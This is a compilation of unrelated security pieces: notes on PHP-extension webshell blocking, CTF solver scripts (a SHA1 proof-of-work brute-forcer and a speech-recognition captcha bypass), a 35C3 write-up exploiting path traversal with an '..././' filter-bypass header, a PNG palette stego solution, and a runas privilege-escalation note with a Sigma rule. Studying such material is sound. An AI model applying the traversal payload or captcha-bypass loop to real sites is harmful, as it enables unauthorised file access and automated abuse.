粗暴一点的可以用文件名白名单,也就是业务报备过的文件不受阻断,其它不认识的文件一律禁止。优雅一点的可以对函数参数做白名单,比如提取正常PHP脚本执行命令的参数或者代码特征,对其进行放行,不认识的特征一律阻断。
3) 使用黑名单逻辑
设定一些已知恶意脚本的黑特征参数,类似于杀毒软件早期的特征码思路。
上述思路在企业推广时,需要和业务有足够充分的配合,也都有不完美的地方,如果大家有更多方案或者思路,欢迎与我共同探讨。
## 5 未来
利用PHP扩展可以做的事情还是比较多,比如在漏洞检测方面、对数据库函数参数过滤、阻断SQL注入、阻断存储型XSS等场景都有非常大的想象空间。甚至在代码审计这块也可以考虑,国内有个大牛已经有比较成熟的开源产品,TAINT (作者:laruence),大家可能都已经比较熟悉了,就暂时不做赘述了。
|
sec-knowleage
|
import hashlib, sys
for i in range(1000000, 9999999):
s=sys.argv[1]+str(i)
h=hashlib.sha1()
h.update(s)
h=h.hexdigest()
if h[-4:]=="0000":
print s
break
|
sec-knowleage
|
import codecs
import os
import urllib
import urllib2
import speech_recognition as sr
url = 'http://yacst2.2016.volgactf.ru:8090/captcha'
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'JSESSIONID=s4Re0bJa4po1O8wPS9yGxF9FKxO4afQEnJbhhjiZ'))
post_opener = urllib2.build_opener(urllib2.HTTPHandler())
post_opener.addheaders.append(('Cookie', 'JSESSIONID=s4Re0bJa4po1O8wPS9yGxF9FKxO4afQEnJbhhjiZ'))
def download_wav():
wav = opener.open(url).read()
with codecs.open("captcha.wav", mode="wb") as output:
output.write(wav)
def convert_to_speech2():
r = sr.Recognizer()
with sr.WavFile('captcha.wav') as source:
audio = r.record(source)
return r.recognize(audio)
def send_response(result):
try:
data = urllib.urlencode({'captcha': result})
return post_opener.open(url, data=data).read()
except:
pass
def removeFile():
os.remove("captcha.wav")
def main():
for i in range(3000):
try:
print(i)
download_wav()
result = convert_to_speech2()
print(result)
removeFile()
response = send_response(result)
except:
pass
main()
#FLAG: VolgaCTF{Sound IS L1ke M@th if A+B=C THEN C-B=A}
|
sec-knowleage
|
# flags
Web
## Description:
> Fun with flags: http://35.207.132.47:84
>
> Flag is at /flag
## Solution:
Visiting the site, we are welcomed with the following piece of code:
```php
highlight_file(__FILE__);
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
$lang = explode(',', $lang)[0];
$lang = str_replace('../', '', $lang);
$c = file_get_contents("flags/$lang");
if (!$c) $c = file_get_contents("flags/ot");
echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';
```
The following line looks like it's vulnerable to directory traversal:
```php
file_get_contents("flags/$lang")
```
However, there is some basic protection against this:
```php
$lang = str_replace('../', '', $lang);
```
So basic, that it neglects the case where the user sends `..././` as input. In this case, the `../` will be stripped, leaving `../`.
Let's try it:
```console
root@kali:/media/sf_CTFs/35c3ctf/flags# curl -H "Accept-Language: ..././flag" http://35.207.132.47:84/ -s | head -5
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /> highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">$lang </span><span style="color: #007700">= </span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'HTTP_ACCEPT_LANGUAGE'</span><span style="color: #007700">] ?? </span><span style="color: #DD0000">'ot'</span><span style="color: #007700">;<br /> </span><span style="color: #0000BB">$lang </span><span style="color: #007700">= </span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">','</span><span style="color: #007700">, </span><span style="color: #0000BB">$lang</span><span style="color: #007700">)[</span><span style="color: #0000BB">0</span><span style="color: #007700">];<br /> </span><span style="color: #0000BB">$lang </span><span style="color: #007700">= </span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">'../'</span><span style="color: #007700">, </span><span style="color: #DD0000">''</span><span style="color: #007700">, </span><span style="color: #0000BB">$lang</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">$c </span><span style="color: #007700">= </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #DD0000">"flags/</span><span style="color: #0000BB">$lang</span><span style="color: #DD0000">"</span><span style="color: #007700">);<br /> if (!</span><span style="color: #0000BB">$c</span><span style="color: #007700">) </span><span style="color: #0000BB">$c </span><span style="color: #007700">= </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #DD0000">"flags/ot"</span><span style="color: #007700">);<br /> echo </span><span style="color: #DD0000">'<img src="data:image/jpeg;base64,' </span><span style="color: #007700">. </span><span style="color: #0000BB">base64_encode</span><span style="color: #007700">(</span><span style="color: #0000BB">$c</span><span style="color: #007700">) . </span><span style="color: #DD0000">'">'</span><span style="color: #007700">;<br /><br /></span>
</span>
</code><br />
<b>Warning</b>: file_get_contents(flags/../flag): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>6</b><br />
```
Notice the warning on the last line. It means that our strategy is working, and also leaks the current location in the directory tree.
This means we will find the flag four directories up:
```console
root@kali:/media/sf_CTFs/35c3ctf/flags# payload=$(python -c "print ('..././' * 4) + 'flag'")
root@kali:/media/sf_CTFs/35c3ctf/flags# echo $payload
..././..././..././..././flag
root@kali:/media/sf_CTFs/35c3ctf/flags# curl -H "Accept-Language: $payload" http://35.207.132.47:84/ -s && echo
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /> highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">$lang </span><span style="color: #007700">= </span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'HTTP_ACCEPT_LANGUAGE'</span><span style="color: #007700">] ?? </span><span style="color: #DD0000">'ot'</span><span style="color: #007700">;<br /> </span><span style="color: #0000BB">$lang </span><span style="color: #007700">= </span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">','</span><span style="color: #007700">, </span><span style="color: #0000BB">$lang</span><span style="color: #007700">)[</span><span style="color: #0000BB">0</span><span style="color: #007700">];<br /> </span><span style="color: #0000BB">$lang </span><span style="color: #007700">= </span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">'../'</span><span style="color: #007700">, </span><span style="color: #DD0000">''</span><span style="color: #007700">, </span><span style="color: #0000BB">$lang</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">$c </span><span style="color: #007700">= </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #DD0000">"flags/</span><span style="color: #0000BB">$lang</span><span style="color: #DD0000">"</span><span style="color: #007700">);<br /> if (!</span><span style="color: #0000BB">$c</span><span style="color: #007700">) </span><span style="color: #0000BB">$c </span><span style="color: #007700">= </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #DD0000">"flags/ot"</span><span style="color: #007700">);<br /> echo </span><span style="color: #DD0000">'<img src="data:image/jpeg;base64,' </span><span style="color: #007700">. </span><span style="color: #0000BB">base64_encode</span><span style="color: #007700">(</span><span style="color: #0000BB">$c</span><span style="color: #007700">) . </span><span style="color: #DD0000">'">'</span><span style="color: #007700">;<br /><br /></span>
</span>
</code><img src="data:image/jpeg;base64,MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=">
root@kali:/media/sf_CTFs/35c3ctf/flags# echo MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo= | base64 -d
35c3_this_flag_is_the_be5t_fl4g
```
The flag: 35c3_this_flag_is_the_be5t_fl4g
|
sec-knowleage
|
# Challenge 3
In the previous challenge, we got a PNG file.

Nothing too interesting here.
Let's take a look at its attributes:
```console
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# exiftool Payload.png
ExifTool Version Number : 11.10
File Name : Payload.png
Directory : .
File Size : 27 kB
File Modification Date/Time : 2020:08:07 12:25:43+03:00
File Access Date/Time : 2020:09:17 21:19:00+03:00
File Inode Change Date/Time : 2020:09:17 21:19:49+03:00
File Permissions : rwxrwx---
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 2100
Image Height : 1575
Bit Depth : 8
Color Type : Palette
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
SRGB Rendering : Perceptual
Gamma : 2.2
Palette : (Binary data 768 bytes, use -b option to extract)
Pixels Per Unit X : 3779
Pixels Per Unit Y : 3779
Pixel Units : meters
Image Size : 2100x1575
Megapixels : 3.3
```
The interesting thing here is that there's a custom palette. We can view it with `PNGCheck`:
```console
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# pngcheck -vtp7f Payload.png
File: Payload.png (27397 bytes)
chunk IHDR at offset 0x0000c, length 13
2100 x 1575 image, 8-bit palette, non-interlaced
chunk sRGB at offset 0x00025, length 1
rendering intent = perceptual
chunk gAMA at offset 0x00032, length 4: 0.45455
chunk PLTE at offset 0x00042, length 768: 256 palette entries
0: ( 0, 0, 0) = (0x00,0x00,0x00)
1: ( 3, 3, 3) = (0x03,0x03,0x03)
2: ( 7, 10, 11) = (0x07,0x0a,0x0b)
3: ( 10, 11, 3) = (0x0a,0x0b,0x03)
4: ( 11, 9, 10) = (0x0b,0x09,0x0a)
5: ( 10, 11, 10) = (0x0a,0x0b,0x0a)
6: ( 10, 9, 12) = (0x0a,0x09,0x0c)
7: ( 13, 14, 12) = (0x0d,0x0e,0x0c)
8: ( 24, 23, 27) = (0x18,0x17,0x1b)
9: ( 33, 33, 32) = (0x21,0x21,0x20)
10: ( 45, 46, 44) = (0x2d,0x2e,0x2c)
11: ( 45, 43, 49) = (0x2d,0x2b,0x31)
12: ( 65, 77, 53) = (0x41,0x4d,0x35)
13: (105,109, 32) = (0x69,0x6d,0x20)
14: ( 71, 69, 77) = (0x47,0x45,0x4d)
15: ( 75, 76, 73) = (0x4b,0x4c,0x49)
16: ( 74, 72, 80) = (0x4a,0x48,0x50)
17: ( 81, 79, 87) = (0x51,0x4f,0x57)
18: ( 87, 88, 85) = (0x57,0x58,0x55)
19: ( 76,101,115) = (0x4c,0x65,0x73)
20: (103,123, 77) = (0x67,0x7b,0x4d)
21: ( 99,100, 97) = (0x63,0x64,0x61)
22: ( 98, 96,106) = (0x62,0x60,0x6a)
23: (102,108, 97) = (0x66,0x6c,0x61)
24: (111, 97,100) = (0x6f,0x61,0x64)
25: (105,109, 99) = (0x69,0x6d,0x63)
26: (104, 97,125) = (0x68,0x61,0x7d)
27: (111,108,119) = (0x6f,0x6c,0x77)
28: (117,120,111) = (0x75,0x78,0x6f)
29: (115,117,113) = (0x73,0x75,0x71)
30: (117,119,114) = (0x75,0x77,0x72)
31: (117,114,126) = (0x75,0x72,0x7e)
32: (121,123,118) = (0x79,0x7b,0x76)
33: (119,113,137) = (0x77,0x71,0x89)
34: (130,126,141) = (0x82,0x7e,0x8d)
35: (131,133,127) = (0x83,0x85,0x7f)
36: (137,140,134) = (0x89,0x8c,0x86)
37: (139,141,135) = (0x8b,0x8d,0x87)
38: (139,142,136) = (0x8b,0x8e,0x88)
39: (135,131,146) = (0x87,0x83,0x92)
40: (138,134,151) = (0x8a,0x86,0x97)
41: (141,136,155) = (0x8d,0x88,0x9b)
42: (141,137,156) = (0x8d,0x89,0x9c)
43: (142,145,138) = (0x8e,0x91,0x8a)
44: ( 0, 0, 0) = (0x00,0x00,0x00)
45: ( 0, 0, 0) = (0x00,0x00,0x00)
46: ( 0, 0, 0) = (0x00,0x00,0x00)
47: ( 0, 0, 0) = (0x00,0x00,0x00)
48: ( 0, 0, 0) = (0x00,0x00,0x00)
49: ( 0, 0, 0) = (0x00,0x00,0x00)
50: ( 0, 0, 0) = (0x00,0x00,0x00)
51: ( 0, 0, 0) = (0x00,0x00,0x00)
52: ( 0, 0, 0) = (0x00,0x00,0x00)
53: ( 0, 0, 0) = (0x00,0x00,0x00)
54: ( 0, 0, 0) = (0x00,0x00,0x00)
55: ( 0, 0, 0) = (0x00,0x00,0x00)
56: ( 0, 0, 0) = (0x00,0x00,0x00)
57: ( 0, 0, 0) = (0x00,0x00,0x00)
58: ( 0, 0, 0) = (0x00,0x00,0x00)
59: ( 0, 0, 0) = (0x00,0x00,0x00)
60: ( 0, 0, 0) = (0x00,0x00,0x00)
61: ( 0, 0, 0) = (0x00,0x00,0x00)
62: ( 0, 0, 0) = (0x00,0x00,0x00)
63: ( 0, 0, 0) = (0x00,0x00,0x00)
64: ( 0, 0, 0) = (0x00,0x00,0x00)
65: ( 0, 0, 0) = (0x00,0x00,0x00)
66: ( 0, 0, 0) = (0x00,0x00,0x00)
67: ( 0, 0, 0) = (0x00,0x00,0x00)
68: ( 0, 0, 0) = (0x00,0x00,0x00)
69: ( 0, 0, 0) = (0x00,0x00,0x00)
70: ( 0, 0, 0) = (0x00,0x00,0x00)
71: ( 0, 0, 0) = (0x00,0x00,0x00)
72: ( 0, 0, 0) = (0x00,0x00,0x00)
73: ( 0, 0, 0) = (0x00,0x00,0x00)
74: ( 0, 0, 0) = (0x00,0x00,0x00)
75: ( 0, 0, 0) = (0x00,0x00,0x00)
76: ( 0, 0, 0) = (0x00,0x00,0x00)
77: ( 0, 0, 0) = (0x00,0x00,0x00)
78: ( 0, 0, 0) = (0x00,0x00,0x00)
79: ( 0, 0, 0) = (0x00,0x00,0x00)
80: ( 0, 0, 0) = (0x00,0x00,0x00)
81: ( 0, 0, 0) = (0x00,0x00,0x00)
82: ( 0, 0, 0) = (0x00,0x00,0x00)
83: ( 0, 0, 0) = (0x00,0x00,0x00)
84: ( 0, 0, 0) = (0x00,0x00,0x00)
85: ( 0, 0, 0) = (0x00,0x00,0x00)
86: ( 0, 0, 0) = (0x00,0x00,0x00)
87: ( 0, 0, 0) = (0x00,0x00,0x00)
88: ( 0, 0, 0) = (0x00,0x00,0x00)
89: ( 0, 0, 0) = (0x00,0x00,0x00)
90: ( 0, 0, 0) = (0x00,0x00,0x00)
91: ( 0, 0, 0) = (0x00,0x00,0x00)
92: ( 0, 0, 0) = (0x00,0x00,0x00)
93: ( 0, 0, 0) = (0x00,0x00,0x00)
94: ( 0, 0, 0) = (0x00,0x00,0x00)
95: ( 0, 0, 0) = (0x00,0x00,0x00)
96: ( 0, 0, 0) = (0x00,0x00,0x00)
97: ( 0, 0, 0) = (0x00,0x00,0x00)
98: ( 0, 0, 0) = (0x00,0x00,0x00)
99: ( 0, 0, 0) = (0x00,0x00,0x00)
100: ( 0, 0, 0) = (0x00,0x00,0x00)
101: ( 0, 0, 0) = (0x00,0x00,0x00)
102: ( 0, 0, 0) = (0x00,0x00,0x00)
103: ( 0, 0, 0) = (0x00,0x00,0x00)
104: ( 0, 0, 0) = (0x00,0x00,0x00)
105: ( 0, 0, 0) = (0x00,0x00,0x00)
106: ( 0, 0, 0) = (0x00,0x00,0x00)
107: ( 0, 0, 0) = (0x00,0x00,0x00)
108: ( 0, 0, 0) = (0x00,0x00,0x00)
109: ( 0, 0, 0) = (0x00,0x00,0x00)
110: ( 0, 0, 0) = (0x00,0x00,0x00)
111: ( 0, 0, 0) = (0x00,0x00,0x00)
112: ( 0, 0, 0) = (0x00,0x00,0x00)
113: ( 0, 0, 0) = (0x00,0x00,0x00)
114: ( 0, 0, 0) = (0x00,0x00,0x00)
115: ( 0, 0, 0) = (0x00,0x00,0x00)
116: ( 0, 0, 0) = (0x00,0x00,0x00)
117: ( 0, 0, 0) = (0x00,0x00,0x00)
118: ( 0, 0, 0) = (0x00,0x00,0x00)
119: ( 0, 0, 0) = (0x00,0x00,0x00)
120: ( 0, 0, 0) = (0x00,0x00,0x00)
121: ( 0, 0, 0) = (0x00,0x00,0x00)
122: ( 0, 0, 0) = (0x00,0x00,0x00)
123: ( 0, 0, 0) = (0x00,0x00,0x00)
124: ( 0, 0, 0) = (0x00,0x00,0x00)
125: ( 0, 0, 0) = (0x00,0x00,0x00)
126: ( 0, 0, 0) = (0x00,0x00,0x00)
127: ( 0, 0, 0) = (0x00,0x00,0x00)
128: ( 0, 0, 0) = (0x00,0x00,0x00)
129: ( 0, 0, 0) = (0x00,0x00,0x00)
130: ( 0, 0, 0) = (0x00,0x00,0x00)
131: ( 0, 0, 0) = (0x00,0x00,0x00)
132: ( 0, 0, 0) = (0x00,0x00,0x00)
133: ( 0, 0, 0) = (0x00,0x00,0x00)
134: ( 0, 0, 0) = (0x00,0x00,0x00)
135: ( 0, 0, 0) = (0x00,0x00,0x00)
136: ( 0, 0, 0) = (0x00,0x00,0x00)
137: ( 0, 0, 0) = (0x00,0x00,0x00)
138: ( 0, 0, 0) = (0x00,0x00,0x00)
139: ( 0, 0, 0) = (0x00,0x00,0x00)
140: ( 0, 0, 0) = (0x00,0x00,0x00)
141: ( 0, 0, 0) = (0x00,0x00,0x00)
142: ( 0, 0, 0) = (0x00,0x00,0x00)
143: ( 0, 0, 0) = (0x00,0x00,0x00)
144: ( 0, 0, 0) = (0x00,0x00,0x00)
145: ( 0, 0, 0) = (0x00,0x00,0x00)
146: ( 0, 0, 0) = (0x00,0x00,0x00)
147: ( 0, 0, 0) = (0x00,0x00,0x00)
148: ( 0, 0, 0) = (0x00,0x00,0x00)
149: ( 0, 0, 0) = (0x00,0x00,0x00)
150: ( 0, 0, 0) = (0x00,0x00,0x00)
151: ( 0, 0, 0) = (0x00,0x00,0x00)
152: ( 0, 0, 0) = (0x00,0x00,0x00)
153: ( 0, 0, 0) = (0x00,0x00,0x00)
154: ( 0, 0, 0) = (0x00,0x00,0x00)
155: ( 0, 0, 0) = (0x00,0x00,0x00)
156: ( 0, 0, 0) = (0x00,0x00,0x00)
157: ( 0, 0, 0) = (0x00,0x00,0x00)
158: ( 0, 0, 0) = (0x00,0x00,0x00)
159: ( 0, 0, 0) = (0x00,0x00,0x00)
160: ( 0, 0, 0) = (0x00,0x00,0x00)
161: ( 0, 0, 0) = (0x00,0x00,0x00)
162: ( 0, 0, 0) = (0x00,0x00,0x00)
163: ( 0, 0, 0) = (0x00,0x00,0x00)
164: ( 0, 0, 0) = (0x00,0x00,0x00)
165: ( 0, 0, 0) = (0x00,0x00,0x00)
166: ( 0, 0, 0) = (0x00,0x00,0x00)
167: ( 0, 0, 0) = (0x00,0x00,0x00)
168: ( 0, 0, 0) = (0x00,0x00,0x00)
169: ( 0, 0, 0) = (0x00,0x00,0x00)
170: ( 0, 0, 0) = (0x00,0x00,0x00)
171: ( 0, 0, 0) = (0x00,0x00,0x00)
172: ( 0, 0, 0) = (0x00,0x00,0x00)
173: ( 0, 0, 0) = (0x00,0x00,0x00)
174: ( 0, 0, 0) = (0x00,0x00,0x00)
175: ( 0, 0, 0) = (0x00,0x00,0x00)
176: ( 0, 0, 0) = (0x00,0x00,0x00)
177: ( 0, 0, 0) = (0x00,0x00,0x00)
178: ( 0, 0, 0) = (0x00,0x00,0x00)
179: ( 0, 0, 0) = (0x00,0x00,0x00)
180: ( 0, 0, 0) = (0x00,0x00,0x00)
181: ( 0, 0, 0) = (0x00,0x00,0x00)
182: ( 0, 0, 0) = (0x00,0x00,0x00)
183: ( 0, 0, 0) = (0x00,0x00,0x00)
184: ( 0, 0, 0) = (0x00,0x00,0x00)
185: ( 0, 0, 0) = (0x00,0x00,0x00)
186: ( 0, 0, 0) = (0x00,0x00,0x00)
187: ( 0, 0, 0) = (0x00,0x00,0x00)
188: ( 0, 0, 0) = (0x00,0x00,0x00)
189: ( 0, 0, 0) = (0x00,0x00,0x00)
190: ( 0, 0, 0) = (0x00,0x00,0x00)
191: ( 0, 0, 0) = (0x00,0x00,0x00)
192: ( 0, 0, 0) = (0x00,0x00,0x00)
193: ( 0, 0, 0) = (0x00,0x00,0x00)
194: ( 0, 0, 0) = (0x00,0x00,0x00)
195: ( 0, 0, 0) = (0x00,0x00,0x00)
196: ( 0, 0, 0) = (0x00,0x00,0x00)
197: ( 0, 0, 0) = (0x00,0x00,0x00)
198: ( 0, 0, 0) = (0x00,0x00,0x00)
199: ( 0, 0, 0) = (0x00,0x00,0x00)
200: ( 0, 0, 0) = (0x00,0x00,0x00)
201: ( 0, 0, 0) = (0x00,0x00,0x00)
202: ( 0, 0, 0) = (0x00,0x00,0x00)
203: ( 0, 0, 0) = (0x00,0x00,0x00)
204: ( 0, 0, 0) = (0x00,0x00,0x00)
205: ( 0, 0, 0) = (0x00,0x00,0x00)
206: ( 0, 0, 0) = (0x00,0x00,0x00)
207: ( 0, 0, 0) = (0x00,0x00,0x00)
208: ( 0, 0, 0) = (0x00,0x00,0x00)
209: ( 0, 0, 0) = (0x00,0x00,0x00)
210: ( 0, 0, 0) = (0x00,0x00,0x00)
211: ( 0, 0, 0) = (0x00,0x00,0x00)
212: ( 0, 0, 0) = (0x00,0x00,0x00)
213: ( 0, 0, 0) = (0x00,0x00,0x00)
214: ( 0, 0, 0) = (0x00,0x00,0x00)
215: ( 0, 0, 0) = (0x00,0x00,0x00)
216: ( 0, 0, 0) = (0x00,0x00,0x00)
217: ( 0, 0, 0) = (0x00,0x00,0x00)
218: ( 0, 0, 0) = (0x00,0x00,0x00)
219: ( 0, 0, 0) = (0x00,0x00,0x00)
220: ( 0, 0, 0) = (0x00,0x00,0x00)
221: ( 0, 0, 0) = (0x00,0x00,0x00)
222: ( 0, 0, 0) = (0x00,0x00,0x00)
223: ( 0, 0, 0) = (0x00,0x00,0x00)
224: ( 0, 0, 0) = (0x00,0x00,0x00)
225: ( 0, 0, 0) = (0x00,0x00,0x00)
226: ( 0, 0, 0) = (0x00,0x00,0x00)
227: ( 0, 0, 0) = (0x00,0x00,0x00)
228: ( 0, 0, 0) = (0x00,0x00,0x00)
229: ( 0, 0, 0) = (0x00,0x00,0x00)
230: ( 0, 0, 0) = (0x00,0x00,0x00)
231: ( 0, 0, 0) = (0x00,0x00,0x00)
232: ( 0, 0, 0) = (0x00,0x00,0x00)
233: ( 0, 0, 0) = (0x00,0x00,0x00)
234: ( 0, 0, 0) = (0x00,0x00,0x00)
235: ( 0, 0, 0) = (0x00,0x00,0x00)
236: ( 0, 0, 0) = (0x00,0x00,0x00)
237: ( 0, 0, 0) = (0x00,0x00,0x00)
238: ( 0, 0, 0) = (0x00,0x00,0x00)
239: ( 0, 0, 0) = (0x00,0x00,0x00)
240: ( 0, 0, 0) = (0x00,0x00,0x00)
241: ( 0, 0, 0) = (0x00,0x00,0x00)
242: ( 0, 0, 0) = (0x00,0x00,0x00)
243: ( 0, 0, 0) = (0x00,0x00,0x00)
244: ( 0, 0, 0) = (0x00,0x00,0x00)
245: ( 0, 0, 0) = (0x00,0x00,0x00)
246: ( 0, 0, 0) = (0x00,0x00,0x00)
247: ( 0, 0, 0) = (0x00,0x00,0x00)
248: ( 0, 0, 0) = (0x00,0x00,0x00)
249: ( 0, 0, 0) = (0x00,0x00,0x00)
250: ( 0, 0, 0) = (0x00,0x00,0x00)
251: ( 0, 0, 0) = (0x00,0x00,0x00)
252: ( 0, 0, 0) = (0x00,0x00,0x00)
253: ( 0, 0, 0) = (0x00,0x00,0x00)
254: ( 0, 0, 0) = (0x00,0x00,0x00)
255: ( 0, 0, 0) = (0x00,0x00,0x00)
chunk pHYs at offset 0x0034e, length 9: 3779x3779 pixels/meter (96 dpi)
chunk IDAT at offset 0x00363, length 26510
zlib: deflated, 32K window, fast compression
chunk IEND at offset 0x06afd, length 0
No errors detected in Payload.png (7 chunks, 99.2% compression).
```
Some of these values definitely look like ASCII, instead of RGB values!
We can take a look using a HEX editor to get a better sense:
```console
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# xxd -g 1 -s 0x42 -l 128 Payload.png
00000042: 50 4c 54 45 00 00 00 03 03 03 07 0a 0b 0a 0b 03 PLTE............
00000052: 0b 09 0a 0a 0b 0a 0a 09 0c 0d 0e 0c 18 17 1b 21 ...............!
00000062: 21 20 2d 2e 2c 2d 2b 31 41 4d 35 69 6d 20 47 45 ! -.,-+1AM5im GE
00000072: 4d 4b 4c 49 4a 48 50 51 4f 57 57 58 55 4c 65 73 MKLIJHPQOWWXULes
00000082: 67 7b 4d 63 64 61 62 60 6a 66 6c 61 6f 61 64 69 g{Mcdab`jflaoadi
00000092: 6d 63 68 61 7d 6f 6c 77 75 78 6f 73 75 71 75 77 mcha}olwuxosuquw
000000a2: 72 75 72 7e 79 7b 76 77 71 89 82 7e 8d 83 85 7f rur~y{vwq..~....
000000b2: 89 8c 86 8b 8d 87 8b 8e 88 87 83 92 8a 86 97 8d ................
```
In short, the PNG palette (which is the PNG chunk starting with `PLTE`) is a custom table that maps pixel values to RBG values.
> The PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:
> ```
> Red: 1 byte (0 = black, 255 = red)
> Green: 1 byte (0 = black, 255 = green)
> Blue: 1 byte (0 = black, 255 = blue)
> ```
> (Source: [PNG (Portable Network Graphics) Specification, Version 1.1](http://www.libpng.org/pub/png/spec/1.1/PNG-Chunks.html))
In our example, a pixel with the value of `0` would be mapped to the color `#000000`, a pixel with the value of `1` would be mapped to the color `#030303` and so on. What's our of the ordinary here is that many pixels are mapped to colors which can also be interpreted as ASCII text, and this doesn't usually happen by chance.
We have seven stripes in the image. What happens if we check the color of each stripe, and interpret the RGB value as ASCII?
For example, let's take the first stripe. We'll use Python to sample the color of the first stripe by sampling the pixel value at (0, 0):
```python
>>> from PIL import Image
>>> img = Image.open("Payload.png")
>>> pixels = img.load()
>>> print(pixels[0, 0])
23
```
The pixel value is `23`. We've seen earlier that entry 23 is mapped to the following RBG values:
```
23: (102,108, 97) = (0x66,0x6c,0x61)
```
And if we interpret them as ASCII, we get:
```python
>>> "".join(chr(c) for c in [0x66,0x6c,0x61])
'fla'
```
That looks like the beginning of "flag". Let's continue sampling all the other stripes using the following script:
```python
from PIL import Image
NUM_STRIPES = 7
img = Image.open("Payload.png")
rgb_im = img.convert('RGB') # Apply the custom palette
width, height = img.size
# We'll sample the color of each stripe by checking the
# RGB value of a pixel in the center of the stripe
center_height = height // 2
stripe_width = width // NUM_STRIPES
center_stripe = stripe_width // 2
flag = ""
x = center_stripe
for i in range(NUM_STRIPES):
for val in rgb_im.getpixel((x, center_height)): # getpixel returns (r, g, b)
flag += chr(val)
# Jump to next stripe
x += stripe_width
print(flag)
```
Output:
```console
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# python3 solve.py
flag{Moadim Lesimcha}
```
Happy holidays!
|
sec-knowleage
|
# T1134-001-win-访问令牌操作-Runas命令
## 来自ATT&CK的描述
攻击者可能会复制,然后冒充另一个用户的令牌用于提升特权并绕过访问控制。攻击者可以创建一个新的访问令牌,该令牌使用来复制现有令牌DuplicateToken(Ex)。然后可以将该令牌用于ImpersonateLoggedOnUser允许调用线程模拟已登录用户的安全上下文,或者SetThreadToken用于将模拟令牌分配给线程。
当攻击者具有要将新令牌分配给的特定现有进程时,他们可以执行此操作。例如,当目标用户在系统上具有非网络登录会话时,这可能很有用。
## 测试案例
runas是Windows系统上自带的一个命令,通过此命令可以以指定权限级别间接启动我们的程序,而不止是继承父进程的权限。
打开cmd或者PowerShell,输入runas命令可以看到其用法。
```yml
C:\Users\Administrator>runas
RUNAS 用法:
RUNAS [ [/noprofile | /profile] [/env] [/savecred | /netonly] ]
/user:<UserName> program
RUNAS [ [/noprofile | /profile] [/env] [/savecred] ]
/smartcard [/user:<UserName>] program
RUNAS /trustlevel:<TrustLevel> program
/noprofile 指定不应该加载用户的配置文件。
这会加速应用程序加载,但
可能会造成一些应用程序运行不正常。
/profile 指定应该加载用户的配置文件。
这是默认值。
/env 要使用当前环境,而不是用户的环境。
/netonly 只在指定的凭据限于远程访问的情况下才使用。
/savecred 用用户以前保存的凭据。
/smartcard 如果凭据是智能卡提供的,则使用这个选项。
/user <UserName> 应使用 USER@DOMAIN 或 DOMAIN\USER 形式
/showtrustlevels 显示可以用作 /trustlevel 的参数的
信任级别。
/trustlevel <Level> 应该是在 /showtrustlevels 中枚举
的一个级别。
program EXE 的命令行。请参阅下面的例子
示例:
> runas /noprofile /user:mymachine\administrator cmd
> runas /profile /env /user:mydomain\admin "mmc %windir%\system32\dsa.msc"
> runas /env /user:user@domain.microsoft.com "notepad \"my file.txt\""
注意: 只在得到提示时才输入用户的密码。
注意: /profile 跟 /netonly 不兼容。
注意: /savecred 跟 /smartcard 不兼容。
```
## 检测日志
Windows 安全日志
## 测试复现
演示降权操作:域环境下测试,提权为域管理员权限执行时,需要输入域管理员密码。

## 测试留痕
注意:演示主机与日志留痕主机,非相同主机。仅为了证明Windows server 12以上版本操作系统可记录操作命令行及其参数。
```yml
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0x4463EA
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x12ac
新进程名称: C:\Windows\System32\runas.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x12b0
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: runas /user:qax\weixin cmd
```
## 检测规则/思路
### sigma规则
```yml
title: Runas命令进行权限提升
description: 攻击Runas命令:能让域用户/普通User用户以管理员身份运行指定程序。
status: experimental
references:
- https://walterlv.blog.csdn.net/article/details/89838982
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4688 #Windows 安全日志
New Process Name: 'runas.exe' #Application Name
Commanline:
- '/user'
condition: selection
level: high
```
### 建议
如果攻击者使用标准cmd或者powershell,则分析人员可以通过审核命令行活动来检测令牌操纵。具体地说,分析人员应寻找该runas命令的使用。Windows默认情况下不启用详细的命令行日志记录。
